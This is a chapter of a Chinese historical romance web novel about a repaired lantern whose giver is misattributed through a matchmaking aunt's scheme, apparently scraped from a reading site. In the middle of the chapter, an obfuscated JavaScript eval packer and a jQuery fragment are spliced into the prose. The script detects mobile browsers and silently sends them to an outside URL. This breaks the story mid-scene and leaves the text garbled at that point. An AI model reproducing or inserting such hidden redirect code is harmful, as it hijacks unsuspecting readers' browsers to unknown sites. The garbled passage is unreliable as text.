20. 谁送的灯

作品:《国公府来了个表小姐

    卯时正的梆子敲了三下。


    文湘昨日守夜,她尚且歪在书房右梢间的榻上断断续续睡了一夜。


    睁眼时,左次间灯火葳蕤。


    文湘便知温峤一夜未睡。


    她系好外衣罗裙,来至书案前。


    那盏温峤带回来的破碎的琉璃走马灯已经修整好了。


    远远看上去,琉璃碎片间的缝隙并不明显,就是一盏完好的琉璃走马灯。


    又见温峤十指皆缠了素布条,素布条上还有渗出的梅花血点。


    文湘“呀”了一声。


    “这本来应当三五日慢慢粘好的灯,大郎君偏赶在这一夜弄完,手还被扎成这样,今日不如不去书院上学,在家补补觉。”


    烛光柔和,少年清冷的眉眼却尽显疏离,他只揉摁了几下眉心,定了定神。


    “才熬一夜,并不打紧。等另一盏灯送来,与这盏灯摆在一起,你们照看好,别让这对灯有什么闪失。”


    文湘应下,忽又想起一事要问。


    “昨日大郎君命人来家里取那张金声玉振古琴,怎不见大郎君像往常一般背琴匣回来?”


    “那张古琴被用去换了一盏灯,你在登记器具用物的册子上划掉那张古琴即可。”


    温峤说完,去沐浴更衣。


    文湘很是惋惜,那么好的一张古琴,大郎君抚弦最多的就是那张古琴了,更时常保养擦拭,连动都不让其他人随意乱动一下。


    曾有郎君拿《兰亭序》真迹来换,大郎君都没有换。


    竟然换了一盏灯。


    *


    未时一刻,桑夫人到洗墨阁来,亲自在书房内翻找幼子温郁想要的书。


    见书案上摆了一对琉璃走马灯,正好十二面生肖神齐全了。


    想着昨日元元正为善阳郡主跌了灯的事伤心,这下子可好了,不光跌了的灯修整如初,还寻着了另一盏失落的灯。


    桑夫人吩咐丫鬟拿好这两盏琉璃走马灯。


    文湘上前道:“大郎君去书院前吩咐了奴婢,这两盏灯是要等他回来送给表小姐的。”


    桑夫人:“我替阿郁找全了书,等会子送书去他院里,正好经过元元住的绛雪居,这两盏灯我一起捎带过去,也让元元早点高兴起来。”


    文湘听过,不好阻拦桑夫人好意之举。


    桑夫人离开洗墨阁后,往绛雪居去。


    一路上想了又想。


    若说这两盏灯是阿峤送与元元的,将来被善阳郡主知晓,倒觉得他们表兄妹间牵扯太多,善阳郡主更要不喜元元,那还不知有多少架等着元元和善阳郡主打呢。


    若说这两盏灯是小凛送与元元的,元元必然懂小凛为她的心,姐姐又那么想要元元做她的儿媳妇,岂不两相便宜,更能成就这段天定的金玉良缘。


    桑夫人将说辞在心中编排了一遍,至外甥女房中,命丫鬟拿好那两盏灯给外甥女看。


    闷闷不乐的姜雪穗见了,转悲为喜,俯身在桌案上将那两盏灯看了一遍又一遍。


    “舅母从哪里来?这两盏灯又是谁托舅母送来给我的?”


    桑夫人笑道:“午间我在端王府陪着太妃姐姐吃饭,这灯啊,一盏是小凛熬了一夜修整好的,另一盏是小凛派了许多人手才找见的,元元你喜欢就好。”


    “难为他费了许多心血,我可该怎么谢他呢?”姜雪穗盯着那盏修整过的灯看,有几处琉璃碎片的缝隙里能见几不可察的血点。


    “你只要当面谢他,说几句贴心的话,他便高兴了。”桑夫人道。


    姜雪穗又与桑夫人闲聊了一刻钟,桑夫人才离去。


    海兰进来,见自家小姐动起针线在缝一个扇套。


    “太阳打西边出来了,姑娘不是最讨厌绣蟠螭纹了吗?嫌要配的丝线颜色太多,又嫌纹样复杂要常常劈线换线。这是为谁做的这么花心思的活计?”


    “小凛喜欢蟠螭纹,我做个扇套回赠给他做谢礼。”姜雪穗捻针穿线,说起桌案上那两盏灯的来历给海兰听。


    海兰边听边点头,感动不已。


    “一夜半日之间,又是修灯,又是找灯,可难为端王殿下了。姑娘做这一个扇套谢端王殿下怕是不够,为端王殿下做一辈子的扇套,还勉强能答谢人家这般为你的心。”


    姜雪穗皱起眉头,与海兰四目相对。


    “一码事归一码事,他是他,我是我,姑姑你要是也信那金玉良缘之说,我定生你的气。”


    海兰厚颜强笑。


    “我也是为姑娘仔细想过的,端王府人口简单,正经主子就桑太妃、端王母子二人,桑太妃通情达理,对姑娘一点架子也没有。这些年来,桑太妃一直是将姑娘当做女儿看待的,这等贤善的婆母哪里去找。我只比一个人给姑娘听,姑娘就知道端王府的新妇有多么好当了。”


    “哪个人?”


    “桑夫人啊。”海兰帮着姜雪穗一起劈线,一根线劈十六股。“假如桑夫人是姑娘的婆母,姑娘可就有遭不尽的罪了。桑夫人偏心小儿子,若做她大儿媳呢,好处是落不到一点的,不拿大儿子大儿媳的东西去做人情就算好的了。若做她小儿媳呢,她不想小儿子受一点委屈,自然只能处处委屈小儿媳了。”


    姜雪穗深以为然,想想若有个桑夫人那样的婆母,她去上吊都来不及。但转念一想,温峤那等才貌的郎君,京中数不胜数的娘子肯为嫁他排着队去上吊,如此想来,又十分的好笑。


    “姑姑,我不明白,大哥哥比郁表弟样样都出色得多,何以大舅母偏心差的、忽视好的?”


    海兰叹了一口气。


    “桑夫人生大郎君、大娘子时,不得夫君欢心,是人生最失意之时,大郎君生下来有寒症,大娘子生下来有痴症,连给她雪中送炭都做不到,尤其生大郎君时,大郎君还是脚先出来的。可桑夫人生五郎君时,夫君回心转意,与她琴瑟和鸣,是人生最风光之时,五郎君又健健康康还被封为世子,成了桑夫人唯一的指望,这个锦上添花的孩子,她自然欢喜得要命。”


    “原来如此,大舅母应是见着大哥哥、大姐姐,就会回想起她自己那段最潦倒危困、最艰难不堪的时光。”姜雪穗越发心疼无辜的温峤、温元爱,“我日后做了母亲,一定不偏心。”


    海兰轻轻拧了一下姜雪穗的面颊,将她搂在自己怀中,抚拍着她的背,笑道:“穗姐儿说这话真不害臊,婆家都还没着落呢,就开始谈为人母的事了。不过姑姑还真盼着能抱到穗姐儿生的娃娃,只可惜,姑姑过几年就要归乡了。”


    姜雪穗脸红起来,将头埋在海兰怀中撒娇。


    “姑姑将我一手带大,不要归乡养老,就在我身边养老。”


    “穗姐儿,天下无不散的筵席。”海兰说着说着,泪水在眼眶里在打转,“姑姑去了,还有比姑姑更好的人来服侍你。姑姑也有自己的孙子孙女们要去好好爱好好疼,这些年在你身边调.教那些毛丫头,锦屏虽掐尖要强但最忠心,玉茗人老实就是柔弱了些,白蔻细心且绣活儿做的好,画眉能说会道就是性子着急了些,松萝、梅蕊、描云、拂雨虽差一等,但也能服侍姑娘周全。姑姑也该放手了,让你管管自己院子里的人。”


    “需管些什么?她们个个都是好的,不曾误过我什么事。”姜雪穗有些困惑。


    海兰:“那是因为我在,她们都怕我。你平日里总怕累着她们,不爱使唤她们做什么。若不是我念叨她们几句,除了那几个大丫鬟,剩下的一个个比小姐还小姐呢。就你这样好性儿,日后管起家来,还不累死自个儿。”


    姜雪穗正在反思,海兰这才发觉她衣襟上空落落的。


    “姑娘平日佩的那个长命百岁蝴蝶墨玉锁压襟哪里去了?”海兰急问道。


    姜雪穗也不知道丢哪里去了,忙说了今日去了哪些地方。


    海兰打发丫鬟婆子们赶紧去找。


    丢了一个压襟原不值什么。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304674|198190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但恐被外男拾去,遇上个有心机的,会玷污辱没了自家小姐的清名。


    *


    温峤甫一回襄国公府,在二门照壁前远远见着贺兰凛,刚好有话要问他。


    但见贺兰凛手上拿着一个压襟,温峤便止步去细瞧,瞧清楚压襟的式样,心一时间乱了。


    温峤认得,那是元元最爱戴的一枚长命百岁蝴蝶墨玉锁压襟。


    元元送了小凛她的压襟。


    元元喜欢小凛。


    贺兰凛也注意到了温峤,将手中的这枚压襟藏入袖中后,迎上来与温峤问好。


    “表兄,陛下赏了我一对白孔雀,放你院子里养着,这样元元去你院子里时,就能毫无顾忌同它们玩了。”


    “我最不喜借花献佛,你光明正大将那对白孔雀送与她,她还感念你的好,你将那对白孔雀放我院子里,那就成了她感念我的好了。”温峤面色冷淡。


    贺兰凛并不在乎姜雪穗感念谁的好,他只想把最好最好的奇珍异宝全送与姜雪穗,博她一笑,便心满意足了。


    “表兄不喜借花献佛,我也不强人所难,我和姨母说去,将那对白孔雀养在花园里。”


    这是他退而求其次的法子。


    他也不是小心眼。


    养在襄国公府的花园里,所有温家人乃至来温家做客的人都可以观赏这对白孔雀。


    可他只想对元元一个人好。


    辞别温峤,贺兰凛到了福禧阁,同桑夫人讲了白孔雀的事。


    桑夫人也将送灯之事告知贺兰凛。


    贺兰凛听得差点没背过气去。


    “姨母,灯是谁送的,就是谁送的,我要去和元元说清楚这事。”


    桑夫人连忙拉住了贺兰凛。


    “傻孩子,我是做得了你表兄的主的。这事,你不说,我不说,阿峤不说,元元就不会知道真正的送灯人是谁。”


    “姨母,你松手,人只要撒了一个谎,无论这个谎有多周全严密,都要用无数个谎去圆。”贺兰凛耿直惯了,做不来这等厚颜无耻之事。


    “就当是为了你表兄好,这两盏灯,谁都可以送给元元,唯有你表兄不能。”桑夫人几近哀求的语气,“善阳郡主实为你表兄良配,阿峤送灯给元元,要被善阳郡主知道了,她会更加针对元元。”


    “姨母,表兄他不喜欢善阳郡主。”贺兰凛立刻反驳道。


    桑夫人难得硬气一回,但这硬气,全然是是为了自己的小儿子算计。


    “临安侯和楚国长公主就善阳郡主这么一个宝贝女儿,阿峤成了善阳郡主的郎婿,那么整个临安侯府乃至楚国长公主背后的皇室,都会成为阿峤的助力,娶郡主,比尚公主,好处还要多千倍万倍。”


    最重要的是,阿峤就不会和自己的阿郁争襄国公的爵位了。


    之前起了心思要与吴家结亲。


    一是想阿峤娶个吴招娣那样门第低的媳妇,自己好摆摆当婆母的谱。


    这些年来,她在两位妯娌面前抬不起头,可憋屈死了,也可在吴招娣身上将气发泄出来。


    二是阿峤没有家世好的妻子,凭他一己之力,怎么也越不过阿郁去。


    届时再给阿郁娶个高门贵女,也能减小兄弟二人在科考入仕方面的差距。


    如今桑夫人与楚国长公主已经达成了心照不宣的默契。


    阿峤是赘给善阳郡主的。


    赘出去的儿,如泼出去的水。


    对阿郁的地位也没有丝毫威胁。


    贺兰凛在这一息很是悲恸。


    再多冠冕堂皇的话,也掩盖不了他姨母对表兄这位长子已然背弃的事实。


    善阳郡主,那是公子王孙们宁可去死,都不想攀的高枝。


    善阳郡主,骄纵跋扈、自以为是、喜怒无常、冲动鲁莽……


    郎君们中流传一句戏言。


    “仇人见到你娶了善阳郡主,也得以释怀了。”